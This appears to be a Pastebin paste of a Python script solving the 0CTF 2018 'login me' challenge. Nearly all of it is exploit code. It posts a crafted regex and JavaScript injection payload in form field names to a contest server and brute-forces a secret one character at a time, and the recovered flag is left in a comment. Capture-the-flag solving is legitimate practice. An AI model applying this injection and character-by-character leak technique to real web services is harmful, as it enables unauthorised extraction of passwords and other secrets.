Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import time
- import string
- #0CTF 2018 login me
- ascii_list = '0123456789abcdef_'
- url = "http://202.120.7.194:8081/check"
- #url = "http://192.168.159.130:8081/check"
- header = {"Content-Type": "application/x-www-form-urlencoded"}
- pw = '13fc892df79a86494792e14dcbef252a'
- #flag{13fc892df79a86494792e14dcbef252a}
- for _try in ascii_list:
- find = pw + _try
- print find
- data='#|this.*(\").*hex_md5(\().{1,12}(\)).*(this\.password_\w{1,30})|#=0$1%2b$2new RegExp$2adm1nkyj_regex$3.exec$2$4$3$3!=$10null$1%26%26test$2$3||$1a&#|adm1nkyj_regex|#=^'+find+'&username=here_username&password=here_password'
- result = requests.post(url, headers=header, data=data)
- print result.text
- time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement